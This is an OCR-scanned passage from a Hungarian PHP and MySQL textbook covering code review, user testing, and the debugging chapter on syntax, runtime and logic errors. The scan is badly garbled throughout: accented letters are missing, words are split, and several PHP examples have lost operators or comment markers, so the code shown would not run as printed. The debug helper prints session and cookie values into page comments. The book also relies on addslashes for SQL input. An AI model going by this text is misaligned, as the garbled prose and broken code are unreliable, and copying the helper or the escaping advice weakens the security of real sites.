Ez a kiegszt gy mkdik, hogy optimalizlja a kdunk futsidej fordtsa ltal ellltott kdot. A Zend egyb term
kei kztt a Zend Studit, a Zend Acceleratort, a Zend Encodert, illetve fizets tmogatsi szolgltatsokat tallunk.

Tesztels
A kd mzse s tesztelse a szaftverfejleszts egy msik olyan sarkalatos pontja, amellyel webes fejleszts esetn gyakran
hajlamosak vagyunk nem foglalkozni. Knny a rendszer kt vagy hrom tesztesettel trtn futtatsa utn felllni s azt mon
dani: ,.igen, hibtlanul mkdik:' Gyakran eikvetik ezt a hibt. Mieltt alkalmazsunkat lesben mkdtetjk, teremtsk meg
az alapos tesztels lehetsgt, s gondoljunk vgig szmos lehetsges forgatknyvet!
Kt megkzeltst ajnlunk a kdjainkban lv hibk cskkentsre. (A hibkat maradktalanul soha nem lehet kiszrni,
de tbbsgket igenis meg lehet szntetni.) Mindenek eltt nzessk t kdunkat msokkal! Ez azt jelenti, hogy egy msik
programoz vagy programozk egy csoportja tnzni kdunkat, s javaslatokat tesz. Az ilyen dpus elemzs az albbi eredm
nyeket hozhatja:
ltalunk szre nem vett hibk
Tesztesetek, amikre nem gondoltunk
Optimalizls
Fejleszrsek a biztonsg tern
A kd fejlesztsre alkalmas, ltez komponensek hasznlata
Tovbbi funkcik
Ha egyedl dolgozunk, akkor is rdemes lehet egy ,.programoztrsat" keresni, aki hozznk hasonl cipben jr, s akivel
tnzhetjk egyms kdjait.
Msodsorban azt. ajnljuk, keressnk olyan tesztelket webes alkalmazsainkhoz, akik a termk vgfelhasznli krbl
kerlnek ki (vagy ket kpviselik). A webes s az asztali alkalmazsok kztt az elsdleges kiilnbsg, hogy az elbbieket brki
hasznlhatja. Nem lhetnk pldul olyan felttelezsekkel, hogy a felhasznJk jrtasak lesznek a szmtgpek kezelsben.
Nem adhatunk nekik vaskos hasznlati kziknyvet vagy gyors referencia-tmutatt. Helyette arra kell trekedni, hogy webes
alkalmazsaink maguktl rtetden kezelhetk s az elterjedt alkalmazsokhoz hasonlan mkdk legyenek. Gondoljunk
bele, hogy milyen mdon kivnjk majd a felhasznJk ignybe venni alkalmazsunkari A hasznlhatsg mindenek felett ll.
Tapasztalt programozknt vagy internetezknt nem knny elkpzelni, milyen problmkkal tallkozhatnak a kezd
vgfelhasznlk. Ezen legegyszerbben gy segithetnk, ha a tipikus felhasznlra hasonlt tesztelket krnk fel.
rdemes lehet a webes alkalmazsainkat btaverziban megjelentetni. Amikor gy rezzk, hogy a hibk tbbsgt mr
kigyomlltuk, tesztfelhasznlk egy korltozott csoportja szmra tegyk elrhetv az alkalmazst! szrevteleikrt cserbe
knljunk fel ingyenes szolgltatsokat az els szz felhasznlnak! Biztosak lehetnk benne, hogy olyan adatokkal s olyan
mdon fogjk kiprblni az alkalmazst, amire nem is gondolhattunk.
Ha cges gyfl szmra fejlesztnk weboldalt, a cg alkalmazottait felkrve egyszeren juthatunk tesztelkhz. (Ez azzal
a

kzzelfoghat elnnyel is jr, hogy az gyfl jobban magnak rezheti az ltala tesztelt oldalt.)

25

378

25. fejezer

Tovbbi olvasnival
Rengeteg anyag foglalkozik ezzel a terlettel; a fejezetben lnyegben a szofrverfejleszts tudomnyval foglalkoztunk, amelyrl
szmtalan knyvet rtak.
A weboldalak dokumentumknt vagy alkalmazsknt rtelmezett megkzeltsei kztti klnbsget kivlarr mutatja be
Thomas A. Powell Web Site Engineering: Beyond Web Page Design cm kiadvnya, de a szofrverfejlesztssel foglalkoz brmely,
neknk tetsz knyvnek hasznr vehetjk.
A verzikversrl a CVS weboldaln (http:/ /ximbiot.com/ cvs/wiki/) tallunk tovbbi informcit.
A tma fontossgt tekintve kiss meglep mdon nem sok knyvet rtak a verzikvetsrl, de rdemes lehet elolvasni Karl
Franz Fogel Open Source Development with CVS vagy Gregor N. Purdy CVS Pocket Reference munkjt.
Ha PHP komponenseket, integrlt fejlesztkrnyezeteket vagy dokumentcis rendszereket keresnk, nyissuk meg
a SourceForge weboldalt: http://sourceforge.net!
A fejezetben trgyalt tmk jelents rszvel a Zend weboldaln tallhat cikkekben is foglalkoznak. Ha szeretnnk elm
lyedni ezekben, bngssznk az oldalon! Ha mr ott jrunk, rdemes lehet letlteni az optimalizlt is (hrrp://www.zend.com).
Ha rdekesnek talltuk ezt a fejezetet , ltogassuk meg az Extreme Programming weboldald Itt az olyan terlereken al
kalmazhat szofrverfejlesztsi mdszerekrl olvashatunk, ahol a kvetelmnyek- a webes fejleszrshez hasonlan- gyakran
vltoznak. Az Extreme Programming weboldala a http://www.extremeprogramming.org cmen rhet el.

Hogyan tovbb:
A Hibakeress cm 26. fejezetben ttekintjk a programozsi hibk klnbz tpusait, a PHP hibazeneteit, illetve a hibake
ress lehetsges mdszereit.

25

26
Hibakeress
Az elttnk ll fejezet PHP kdokon belli hibakeresssel foglalkozik. Ha vgigrgmk magunkat a knyv eddigi pldin,
vagy korbban is hasznltuk mr a PHP-r, akkor minden bizonnyal kezdenek mr kialakulni sajt hibakeressi mdszereink.
Ahogy projektjeink egyre sszetettebbek lesznek, gy vlik majd egyre nehezebb a hibakeress. Ugyan ilyen jelleg kpes
sgeink is fejldni fognak, a hibk azonban vlheten tbb fjlbl vagy tbb programoz ltal rt kdbl erednek majd, ami
igencsak megneheztheti dolgunkat.
A fejezerben az albbi fbb tmakrket fogjuk ttekinteni:
Programozsi, szintakrikai, futsidej s logikai hibk
Hibazenetek
Hibaszintek
Sajt hibk kivltsa
A hibakezels elegns mdja

Programozsi hibk
A programozsi hibknak programozsi nyelvtl fggetlenl hrom ltalnos tpusa ltezik:
Szintakrikai hibk
Futsidej hibk
Logikai hibk
Mieltt bemutatnnk a hibk szlelsre, kezelsre, elkerlsre s kijavtsra szolgl stratgikat, vizsgljuk meg egyen
knt ezeket a hibatpusokarl

Szintaktikai hibk
A nyelvek szintaktiknak nevezett szablyrendszerrel rendelkeznek, amit az utastsoknak be kell tartaniuk ahhoz, hogy r
telmesek s mkdkpesek legyenek. Ez a termszetes nyelvekre (pldul a magyarra) s a programozsi nyelvekre (pldul
a PHP-re) egyarnt rvnyes. Ha egy urasrs nem tartja be a nyelv szablyait, azt mondjuk, hogy szintaktikai hibja van. Ha r
telmezett (interpreted) nyelvrl, pldul a PHP-rl beszlnk, akkor a szintaktikai hibkat szoks rtelmezsi hibknak (parser
error) nevezni. Ha fordirorr (compiled) nyelvrl, pldul C-rl vagy Javrl, akkor pedigfordtsi hibknak (compiler error).
Ha megszegjk a magyar nyelv szinrakrikai szablyait, mg knnyen lehet, hogy az emberek megrrik, amit mondani szn
dkozunk. Programozsi nyelvek esetben azonban ez ltalban nem igaz. Ha egy kd nem kveti a PHP szintakrikjnak
szablyt - vagyis szintakrikai hibkar tartalmaz -, a PHP rtelmez annak egy rszr vagy egszt nem lesz kpes feldolgozni.
Az emberek jk abban, hogy rsz- vagy egymssal tkz adarokbl kiszrjk a kell informcit. A szmrgpekre sajnos ez
nem ll.
A PHP szintaktikja sok ms szably kzrt megkvereli azt, hogy az urasrsok pontosvesszvel zruljanak, a karakter
lncok idzjelek kz kerljenek, a fggvnyeknek radott paramtereker pedig vesszvel vlasszuk el egymstl, s zrjelek
kz tegyk. Ha megszegjk ezeker a szablyokat, PHP kdunk nagy valsznsggel nem fog mkdni, s hibazenetet gene
rl, amikor elszr megprbljuk futtarni.
A PHP egyik erssge a jl hasznlhat hibazenerek, amelyekkel akkor tallkozunk, ha valami nem jl alakul. A PHP
hibazeneteibl ltalban kiderl, hogy mi csszorr flre, melyik fjlban trtnt a hiba, s melyik sorban ralljuk.
Egy tipikus hibazenet a kvetkezkppen nz ki:
Parse error:

parse error,

unexpected

'''

in

/home/book/public_html/php_es_mysql/26_fejezet/error.php on line

azaz:

380

26. fejezet

rtelmezsi hiba: rtelmezsi hiba,

nem vrt ''' a

/home/book/public_html/php_es_mysql/26 fejezet/error.php fjl 2.

sorban

A fenti hibt a kvetkez kd vltotta ki:


<?php
$date = date(m.d.y');
?>

Mint lthat, megprblrunk egy karakterlncot tadni a date () fggvnynek, de vletlenl lemaradt a kezd idzjel,
amely a karakterlnc elejt lett volna hivatott jellni.
Az ehhez hasonl, egyszer szintaktikai hibkat a legknnyebb megrallni. Jellegben hasonl, de nehezebben megrallhat
hibt kvetnk el, ha elfelejtjk lezrni a karakterlncot, ahogy tettk azt az albbi pldban:
<?php
$date = date('m.d.y);
?>

Ez a kd az albbi hibazenetet vltja ki:


Parse error: parse error,

unexpected $end in

/home/book/public_html/php_es_mysql/26 fejezet/error.php on line 2

azaz:
rtelmezsi hiba: rtelmezsi hiba,

nem vrt sorlezrs a

/home/book/public_html/php_es_mysql/26 feJezet/error.php fjl 2.

sorban

Az olyan hibk, amikor megnyirunk valamit, majd elfelejtjk lezrni, gyakran gy jelentkeznek, s ilyen hibazenetet ered
mnyeznek. Egyszeres s ktszeres idzjelek, illetve a zrjelek klnbz forminak (kapcsos, szgletes) hasznlata esetn
kvethetjk el ezt a hibatpust.
A kvetkez kd hasonl szimaktikai hibt generl:
<?php
if (igaz)

echo 'itt hiba van';


?>

Az ilyen hibkat abban az esetben, ha tbb fjl kombincijbl addnak, nem egyszer megtallni. Akkor is nehz hely

zetbe kerlhetnk, ha egyetlen, de j nagy mret fjlban fordulnak el. Egy ezersoros fjl esetn kapott parse error on
line 1001, azaz"rtelmezsi hiba az 1001. sorban" zenet akr egy egsz napunkat tnkre tudja tenni- de legalbb finom

clzst kapunk arra vonatkozan, hogy modulrisabb felpts kdot kellene rnunk.
Mindezek ellenre a szintaktikai a legknnyebben megrallhat hibatpus. Ha szintaktikai hibt kvetnk el, s megprbl
juk futtatni a kdblokkot, a PHP hibazenetben kzli, hogy hol talljuk a hibt.

Futsidej hibk
A futsidej hibkat szlelni s kijavtani is kemnyebb di. Lehet, hogy kdunk szintaktikai hibt tartalmaz, de az is lehet,
hogy nem. Elbbi esetn az rtelmez a kd futtatsakor szlelni fogja azt. A futsidej hibkat nem kizrlag kdunk tartal
ma okozza, kvetkezhetnek kdunk s ms esemnyek vagy krlmnyek klcsnhatsbL
A
require ('fajlnev.php');

teljes mrtkben helyes PHP utasts. Szintaktikai hibkat nem tartalmaz.


Ennek ellenre ez az utasts is okozhat futsidej hibt. Ha vgrehajtjuk az utastst, s a fajlnev.ph p nem ltezik,
vagy a felhasznlnak, akikm a kd fut, nincsen hozz olvassi jogosultsga, az albbihoz hasonl hibt s hibazenetet

26

kapunk:
Fatal error:

main()

[function.require]: Failed opening required 'fajlnev.php'

(include_path='.:/usr/local/lib/php') in
/home/book/public_html/php_es_mysql/26_fejezet/error.php on line l

azaz
Vgzetes hiba: main()

[function.require]: Nem sikerlt megnyitni a 'fajlnev.php' fjlt

(include_path='.:/usr/local/lib/php') a
/home/book/public_html/php_es_mysql/26_fejezet/error.php fjl l.

sorban

Annak ellenre, hogy ez a kd hibtlan, futsidej hibt eredmnyezhet, mert mkdshez olyan fjl szksges, amely nem
biztos, hogy a kd futtatsakor elrhet.

Hibakeress

381

A kvetkez hrom urasrs mindegyike helyes s rtelmes PHP utasts. Egytt azonban, sajnos, a leheterlent - a nullval
osztst - ksrlik meg:
$i

$j

$k

10;
0;
$i/$j;

Ez a rvid kd a kvetkez figyelmeztetst vltja ki:


Warning:

Division by zero in

/home/book/public_html/php_es_mysql/26_fejezet/divO.php on line 3

azaz
Figyelmeztets:

Nullval oszts a

/home/book/public_html/php_es_mysql/26 fejezet/divO.php fjl 3.

sorban

Ez a figyelmeztets nagyon egyszerv teszi a hiba kijavtst. Nagyon kevesen rnak szndkosan olyan kdot, amely null
val prbl meg osztani, de a felhasznli bevitel ellenrzsnek elmulasztsa gyakran eredmnyezher ilyen tpus hibt.
A kvetkez kd ugyanezt a hibt eredmnyezi, m azt sokkal nehezebb krlhatrolni s kijavtani, mert csak egyes esetek
ben kvetkezik be:
$i

10;

$k

$i/$_REQUEST['input'];

Ez egyike a szmtalan, klnbz, futsidej hibnak, amellyel kdunk tesztelse sorn tallkozhatunk.
Az albbiakat tekinthetjk a futsidej hibk leggyakoribb oknak:
Nem ltez fggvnyek hvsa
Fjlok olvassa vagy rsa
MySQL-hez vagy egyb adarbzishoz csatlakozs
Hlzati szolglratsok elrse
Beviteli adatok ellenrzsnek elmulasztsa
A kvetkez oldalakon rviden tnzzk ezeker a hibaforrsokar.

Nem ltez fggvnyek hvsa


Nagyon knnyen megeshet, hogy nem ltez fggvnyeker hvunk meg. A beptett fggvnyeker gyakran nem kvetkezeresen
nevezik el. Mirt van a strip_tags () fggvny nevben alulvons, amikor a stripslashes () nvben nincs?
Az is knnyen elfordulhar, hogy olyan sajt fggvnyt hvunk meg. amely az aktulis kdban nem ltezik, de valahol mshol
igen. Ha kdunk nem ltez fggvny hvsr tartalmazza, pldul
nemletezo_fuggveny();

vagy
elgeplt_fuggveny();

az albbihoz hasonl hibazeneret fogunk kapni:


Fatal error:

Call to undelined function:

nonexistent_function()

in /home/book/public_html/php_es_mysql/26_fejezet/error.php on line l

azaz
Vgzetes hiba:

Nem defmilt fggvny hvsa:

nemletezo_fuggveny()

a /home/book/public_html/php_es_mysql/26_fejezet/error.php fjl l.

Hasonlkppen hibazenetet eredmnyez

az

sorban

is, ha nem megfelel szm paramterrel hvunk meg ltez fggvnyt.

A strstr () fggvny kr karakterlncot vr paramterknt: a keress helyt s a keresett szrringet. Ha azonban a kvetke
z formban hvjuk meg:

26

strstr();

az albbi hibazenetet kapjuk:


Warning:

Wrong parameter count for strstr() in

/home/book/public_html/php_es_mysql/26_fejezet/error.php on line l

azaz
Figyelmeztets:

Nem megfelel

szm paramter() a

/home/book/public_html/php es_mysql/26_fejezet/error.php fjl l.

Ugyanez az urasrs a kvetkez kdban is hibs:


<?php
if($var

==

4)

sorban

382

26. fejezet

strstr();

?>

Azt a taln ritka esetet leszmtva, amikor a $var vltoz rtke 4, a strstr () fuggvny nem lesz meghvva, gy figyel
meztetst sem kapunk. A PHP rtelmez nem vesztegeti az idejt a kd aktulis futtatshoz nem szksges kdrszek rtel
mezsre. Pontosan az ilyen esetek miatt kell gondoskodnunk az alapos tesztelsrl!
A fuggvnyeket igen knny hibsan meghvni, de mivel az ekkor kapott hibazenetek egyrtelmen beazonostjk a probl
mt okoz sort s fuggvnyhvst, ugyanilyen knnyedn orvosolhatjuk is a hibt. Kizrlag abban az esetben okoz nehzsget
a hiba megrallsa, ha elgrelen volt a tesztels, nem teszteltk az sszes, felttelesen vgrehajtand kdot. A tesztels egyik
clja minden egyes kdsor legalbb egyszeri futtatsa kell, hogy legyen. Msik clunk pedig a beviteli adatok minden peremfel
ttelnek s tpusnak tesztelse legyen!

Fjlok olvassa vagy rsa


Noha programunk hasznos lettartama alatt tulajdonkppen brmi elromolhat, egyes problmk a tbbinl nagyobb va
lsznsggel fognak bekvetkezni. Mivel a fjlkezelssei kapcsolatos hibkra bizton szmitharunk, fontos, hogy elegns
mdon kezeljk ket. A merevlemezek elromlanak s betelnek, emberi hibk pedig a knyvtrjogosultsgok megvltozst
eredmnyezhetik.
Azok a fuggvnyek, amelyeknl szmirharunk arra, hogy esetenknt hibt eredmnyeznek- kztk pldul az fopen() -,
jellernzen visszatrsi rtkkel rendelkeznek, ami ural a hiba bekvetkezsre. Az fopen() esetben a false,

azaz

hamis visz

szarrsi rtk jelzi a hibt.


Az ilyen jelzst ad fggvnyeknl minden hvsnl gondosan ellenrizni kell a visszatrsi rtket, s kezelni kell az eset
leges hibkat.

MySQL-hez vagy egyb adatbzishoz csatlakozs


A MySQL-hez csatlakozs s valamely adatbzis hasznlata szmos hibt eredmnyezhet. A mysqli_connect() fuggvny
hasznlata mr nmagban is a kvetkez hibkat okozhatja:
Warning: mysqli_connect()

[function.mysqli-connect]:

Can't connect

to MySQL server on 'localhost' (10061)


Warning:

mysqli connect()

[function.mysqli-connect]:

Unknown MySQL

Server Host 'hostname' (11001)


Warning:
for user:

mysqli_connect()

[function.mysqli-connect]:

'username'@'localhost' (Using password:

Access denied

YES)

azaz

Figyelmeztets:

mysqli_connect()

[function.mysqli-connect]:

Nem sikerlt

kapcsoldni a MySQL szerverhez a 'localhost' gpen (10061)


Figyelmeztets:

mysqli_connect()

[function.mysqli-connect]:

Ismeretlen MySQL

[function.mysqli-connect]:

Hozzfrs megtagadva

szerverhoszt 'hostname' (11001)


Figyelmeztets:

mysql connect()

a 'username'@'localhost' felhasznlnak ( Jelszhasznlat:

IGEN)

Nem meglep mdon a mysqli_connect() is false visszatrsi rtkkel jelzi a hiba elfordulst. Ez azt jelenti, hogy
egyszeren szlelhetjk s kezelhetjk az ilyen dpus, gyakori hibkat.
Ha nem szakrjuk meg a kd normlis futst, s nem kezeljk ezeket a hibkat, kdunk tovbbra is megprbl dolgozni az
adatbzissal. Ha mkd MySQL kapcsolat nlkl prblunk meg lekrdezseket futtatni s eredmnyekhez hozz:ijutni, lto
gatink hibazenetekkel teli kpernyt fognak ltni, ami vlheten nem oldalunk professzionlis voltt ersti bennk.
Sok ms, gyakran hasznlt, MySQL-lel kapcsolatos PHP fuggvny, gy a tbbi kztt a mysqli_query() is false visz
szarrsi rtkkel jelzi a hibt.
Ha hiba trtnik, a hibazenet szveghez a mysqli_error() fuggvnnyel frnk hozz, a mysqli_errno() fuggvny
pedig a hibakdot adja vissza. Amennyiben az utoljra hasznlt MySQL fuggvny nem okozott hibt, a mysqli _error ()
res karakterlncot, a mysql i_errno() pedig O-t ad vissza.
Tegyk fel pldul, hogy kapcsoldrunk a kiszolglhoz, s kivlasztottuk a hasznlni kivnt adatbzist! Ekkor
kdtredk:

az

albbi

Hibakeress

$eredmeny

mysqli_query($adatbazis,

'SELECT

383

FROM nem_letezik);

echo mysqli_errno($adatbazis);
echo '<br

/>';

echo mysqli_error($adatbazis);

a kvetkez kimenetet eredmnyezheti:


114 6

'
'
'
Table dbname. nem letezik doesn t exist
'
'
(Az adatbazis_nev.nem_letezik nev tbla nem ltezik)

E kt fggvny kimenere a mysqli_error() s a mysqli_errno() fggvnytl eltr, utoljra lefutott MySQL fgg
vnyre utal. Ha parancs eredmnyrl szeretnnk meggyzdni, a tovbbi utastsok futtatsa eltt ne felejtsk ellenrizni azt!
A fjlkezelsi hibkhoz hasonlan adatbzis-kezelsi hibk is el fognak fordulni. Alkalmanknt a szolgltats fejlesztsnek
s tesztelsnek befejezse utn is azt tapasztaljuk, hogy a MySQL dmon (mysqld ) sszeomlott, vagy elfogytak a szabad
kapcsolatok. Amennyiben adatbzisunk fizikailag msik gpen fut, megintcsak olyan hardver- s szoftverkomponensekre
vagyunk knytelenek tmaszkodni, amelyek tnkremehetnek - mg egy hlzati kapcsolat, hlzati krtya, routerek stb. kelle
nek, hogy mkdjn a kapcsolat a webszervernk s az adatbzist futtat gp kztt.
Nem szabad elfeledkezni arrl, hogy rnieltt felhasznlnnk az adatbziskrsek eredmnyt, ellenrizzk, hogy egyltaln
sikeresen vgrehajtdrak-e ezek a krsek. Nincs rtelme megprblni lefuttatni egy lekrdezst, ha nem sikerlt csatlakozni az
adatbzishoz, s nincs rtelme megprblni feldolgozni a lekrdezs eredmnyeit, ha maga a lekrdezs nem sikerlt.
Fontos itt megemlteni a klnbsget a sikertelen lekrdezs s az eredmnytelen lekrdezs kztt. Az utbbi egyszeren
semmilyen adatot nem ad vissza, vagy egyetlen sort sem mdost.
Az olyan SQL lekrdezs, amely SQL szintaktikai hibkat tartalmaz, vagy nem ltez adatbzisokra, tblkra vagy oszlo
pokra hivatkozik, nem fog mkdni. A
SELECT

FROM nem_letezik;

azrt nem fog sikerlni, mert az adott nev tbla nem ltezik, s a mysqli_errno() s a mysqli_error () fggvnnyel
visszakereshet hibakdot s hibazenet fog generlni.
A szintakrikailag hibtlan s csak ltez adatbzisokra, tblkra s oszlopokra hivatkoz SQL lekrdezs ltalban sikeresen
lefut. Elfordulhat azonban, hogy nem ad vissza eredmnyt, pldul, ha res tblt krdeznk le, vagy nem ltez adarot kere
snk. Amennyiben sikeresen kapcsoldrunk egy adatbzishoz, amelynek ltezik t l tblja s cl nev oszlopa, a
SELECT

FROM tl

WHERE cl

'
'
nincs az adatbzisban ;

lekrdezs sikeresen lefut ugyan, de semmilyen eredmnyt nem ad vissza.


Mieltt dolgozni kezdennk a lekrdezs eredmnyvel, a lekrdezs sikeressgt s eredmnyessgt egyarnt ellenriz
nnk kell.

Hlzati szolgltatsok elrse


Br a rendszernket alkot eszkzk s programok idnknt tnkremehetnek, ez - hacsak nem nagyon gyenge minsg
termkekkel dolgozunk - viszonylag ritkn kvetkezik be. Amikor azonban a hlzat segtsgvel kapcsoldunk ms gpekhez
vagy azokon fut szoftverekhez, el kell fogadnunk: a rendszer egy-egy rsze gyakrabban is elromolhat. Arnikor egyik gprl
a msikhoz kapcsoldunk, knytelenek vagyunk szmos olyan eszkzre s szolglrarsra tmaszkodni, amely kivl esik ellenr
zsnkn.
ppen ezrt kivtel nlkl az sszes esetben gondosan ellenrizni kell minden olyan fggvny visszarrsi rtkr, amely
valarnilyen hlzati szolgltatssal prbl meg kapcsolatba lpni.
Az albbi fggvny meghvsa
$sp =

fsockopen('localhost',

5000 );

figyelmeztetst eredmnyez, ha a fggvnynek nem sikerl csatlakozni a localhost nev gp 5000-es portjhoz, de az ze
netet csak alaprtelmezett formjban jelenti meg. nem ad lehetsget kdunknak, hogy elegnsabban kezeljk a hibt.
Ha a fggvny meghvst a kvetkezkppen rjuk t:
$sp

@fsockopen ('localhost',

5000,

&$hibakod,

&$hibaszoveg );

if(!$sp)
echo "ERROR:

".$hibakod.":

".$hibaszoveg;

akkor elnyomjuk a beptett hibazenetet, a visszatrsi rtket ellenrizve ltjuk, hogy trtnt-e hiba, majd sajt kdunkat
hasznlva kezeljk a hibt. Az gy megrt kd a problma megoldst segt hibazenetet eredmnyez. Ebben a pldban a k
vetkez zenetet ltnnk megjelenni:

26

384

26.

fejezer

ERROR:

10035:

A non-blacking socket operation

could not be

completed immediately.

azaz
HIBA:

10035:

Egy nem blokkol sacket miatt a mvelet nem hajthat vgre azonnal.

A futsidej hibkat nehezebb kikszblni, mint a szintaktikaiakat, mert az rtelmez nem kpes a hibkat a kd els
futtatsakor jelezni. Mivel a futsidej hibkat esemnyek valamilyen kombincija vltja ki, szlelni s megoldani is bonyolult
lehet ket. Az rtelmez nem tudja automatikusan megmondani, hogy egy adott sor hibt fog generlni. Ehhez tesztelskor
szimullnunk kell a hibt kivlt szirucir.
A futsidej hibk kezelse bizonyos mrrk elreltst ignyel: fel kell kszlni az esetlegesen elfordul hibarpusokra,
majd meg kell tenni az azoknak megfelel lpseket. Gondos tesztelsre van szksg ahhoz is, hogy a futsidej hibk minden
lehetsges tpust szimulljuk.
Ez egyltaln nem azt jelenti, hogy tesztelskor minden elkpzelhet hibt el kell lltanunk. A MySQL pldul krlbell
200 klnbz hibakddal s hibazenettel rendelkezik. A j esllyel hibt kivlt fggvnyhvsoknl kell szimullnunk a k
ln kdbiokkal kezelni kvnt hibatpusokat.

Beviteli adatok ellenrzsnek elmulasztsa

Gyakran lnk felttelezsekkel a felhasznlk ltal megadott beviteli adatokkal kapcsolatban. Ha egy adat valamirt nincs
sszhangban azzal, amire szmtottunk, hiba trtnhet, ami lehet futsidej vagy logikai hiba (errl az utbbi kategrirl
a kvetkez rszben esik majd sz).
A futsidej hiba klasszikus pldja akkor kvetkezik be, amikor felhasznl ltal bevitt adatokkal dolgozunk, de elfelejtjk
alkalmazni rjuk az addslashes ( ) fggvnyt. Ez azt jelenti, hogy ha az egyik felhasznlnknak aposztrfot tartalmaz neve
van, pldul O'Gradynek hvjk, akkor az adatbzisfggvnytl hibazenetet kapunk, amikor beszrsi utastsban egyszeres
idzjelek kztt hasznljuk a felhasznl ltal megadott nevet.
A beviteli adarokkal kapcsolatos felttelezseink miatti hibkat a kvetkez rszben rszletesebben is bemutatj uk.

Logikai hibk
A logikai a legnehezebben kereshet s kikszblhet hibatpus. Ilyen tpus hibk akkor kvetkeznek be, amikor a tklete
sen helyes kd pontosan azt teszi, amire utastottk, m a programoznak mgsem ez volt a szndka.
A logikai hibt okozhatja egyszer elgpels, mint pldul a kvetkez kdban:
for

($i =

echo

26

O; $i < 10; $i++);

'valamit csinl<br />';

Ez a kdtredk teljesen szablyos, minden sorban megfelel a PHP szintakrikai szablyainak. Futtatshoz nincs szksg
kls szolgltatsokra, gy nem valszn, hogy futsidej problmba tkznnk. Csak nagyon les szemmel lehet szrevenni,
hogy ez a kd nem azt teszi, amit rnzsre gondolnnk, s amit a programoz szererett volna elrni.
gy tnik, hogy a kd tzszer vgigmegy a for cikluson, s minden egyes alkalommal kirja a"valami t csinl" szve
get. Az els sor vghez hozzadott, oda nem val pontosvessz miatt azonban a ciklusnak nincsen hatsa a kvetkez sorokra.
A for ciklus minden eredmny nlkl tzszer lefut, majd egyszer vgrehajtdik az echo utasts.
Mivel a kdtredk teljesen szablyos, s hibt nem tartalmaz, az rtelmez nem fog reklamlni, hogy a for ciklus ilyen
alkalmazsnak semmi rtelme sincsen. Bizonyos feladatokra nagyon jk a szmitgpek, jzan eszk s intelligencijuk
azonban nincsen. A komputer pontosan azt teszi, amit mondanak neki. A mi gondunk az, hogy pontosan azt mondjuk, amit
valban szeretnnk.
A logika hibkat nem a kd valamilyen kudarca okozza, hanem egyszeren a programoznak nem sikerl megrnia a sz
mtgpet utast kdot gy, hogy a gp pontosan azt tegye, amit elvr tle. Ebbl kvetkezik, hogy az ilyen hibkat nem lehet
automatikusan szlelni. Senki nem kzli velnk, hogy hiba trtnt, s senki monclja meg, hogy melyik sorban keressk a prob
lmt. A logikai hibkar csak megfelel tesztelssei lehet kiszrni.
Az elz trivilis pldhoz hasonl logikai hiba viszonylag knnyen elkvethet, ugyanakkor kijavtani sem sokkal
nehezebb, mert kdunk els futtatsakor a vrtrl eltr kimenetet fogunk ltni. A logika hibk tbbsge ennl valamivel
alattomosabb.
Az igazn problms logikai hibk ltalban a fejleszrk hibsnak bizonyul felttelezseibl kvetkeznek. Az elz, A PHP
s MySQL hasznlata nagyobb projektekben cm fejezetben azt ajnlottuk, hogy ms fejlesztket bevonva nzessk r kdun
kat, s krjk javaslatukat tovbbi tesztesetekre, illetve fejlesztk helyett a clkznsgbl krjnk fel tesztelket. Knnyen

Hibakeress

385

gondolhatjuk azt, hogy az emberek csak bizonyos tpus adatokat fognak berni, s ha mi magunk vgezzk a tesztelse, akkor
ezt a hibt taln soha nem fedezzk fel.
Tegyk fel, hogy egy zleti oldalon lv szvegdobozba a rendelsi mennyisget rhatja be a felhasznl! Felttelezzk, hogy
az

emberek csak pozitv rtkeket rhatnak be? Ha egy ltogat -10-et r be, akkor szaftvernk jvrja bankszmljn a szban

forg rucikk rtknek rzszerest?


Tegyk fel, hogy egy szvegdobozba egy dollrban kifejezett sszeget vrunk a ltogatktl! Dollrjellel vagy anlkl vrjuk
tlk az sszeget? Az ezresek utn kell vajon vesszt rniuk? Az ilyen dolgok rszben a kliensoldalon is ellenrizhetk (pldul
JavaScript segtsgve!), hogy ezltal valamelyest cskkentsk szervernk terhelst.
Amennyiben informcit kvnunk tadni egy msik oldalnak, esznkbe jut vajon, hogy egyes karakterekre, pldul az tad
ni kvnt karakterlncban lv szkzre kln figyelni kell az URL-ben?
A logikai hibk szma szinte vgtelen, s ellenrzskre - sajnos - nem ltezik automatizlt mdszer. Az egyetlen megolds,
hogy elszr is megprbljuk kikszblni a programba kdolt - hibs - felttelezseinket, msodsorban pedig alaposan tesz
telnk mindenfle rvnyes s nem rvnyes inputtal, s gondoskodunk arrl, hogy minden esetben a vrt eredmnyt kapjuk.

Hibakeress a vltozk tartalmnak kiratsval


Ha sszetettebb vlnak projektjeink, hasznunkra lehet a hibk oknak azonostst segt kis segdprogram. A 26.1 plda
kdban rallhat kdrszlet nagy segtsget nyjthat szmunkra, mivel az oldalunknak radott vltozk rartalmt ratja ki.
26.1 pldakd: valtozok _kiiratasa.php - Ha a kdot az egyes oldalakra beilleszljk, a vltozk tartalmt kiratva segti

a hibakeresst
<?php

ll ezek a sorok HTML megjegyzsknt formzzk a kimenetet


ll s ismtlden meghvjk a tomb_kiiratasa fggvnyt (ennek
echo "\n<!-- VLTOZ-KIRATS INDUL -->\n\n";

echo "<!-- GET VLTOZK -->\n";


echo "<!-- ".tomb_kiiratasa($_GET)

-->\n";

"

echo "<!-- POST VLTOZK -->\n";


echo "<!-- ".tomb_kiiratasa($ POST)

"

-->\n";

echo "<!-- SESSION VLTOZK -->\n";


echo "<!-- ".tomb_kiiratasa($ SESSION) ." -->\n";

echo "<!-- COOIE VLTOZK -->\n";


echo "<!-- ".tomb_kiiratasa($ COOKIE)." -->\n";

echo "\n<!-- VLTOZ-KIRATS VGE -->\n";

ll A tomb_kiiratasa() tmbt vr paramterknt


ll Vgiglpked a tmbn,
ll hoz ltre,

egyetlen sornyi karakterlncot

amely a tmb tartalmt jelkpezi

function tomb kiiratasa($tomb)

if(is_array($tomb))

$meret

count($tomb);

$string = "";
if($meret)

26

386

26. fejezet

$szamlalo = 0;
$string

. = "l

";

ll az egyes elemek kulcsnak s rtknek hozzadsa a sztringhez


foreach($tomb as $var => $ertek)

$string .=$var."

".$ertek;

if($szamlalo++ < ($meret-l))


$string .= "

$string

.=

"

"

'

) ";

return $string;
else

ll ha nem tmb,

egyszeren trjen vele vissza!

return $tomb;

?>

A fenti kd

az

oldalnak radott vltozk ngy tmbjt jelenti meg. Ha az oldalt GET vltozkkal, POST vltozkkal,

stikkel hvtk meg, vagy rendelkezik munkamenet-vltozkkal, akkor azok kirdnak.


A kimenetet HTML megjegyzsen bellre raktuk, hogy lthat legyen ugyan, de ne zavarja meg azt, ahogy a bngsz a lt

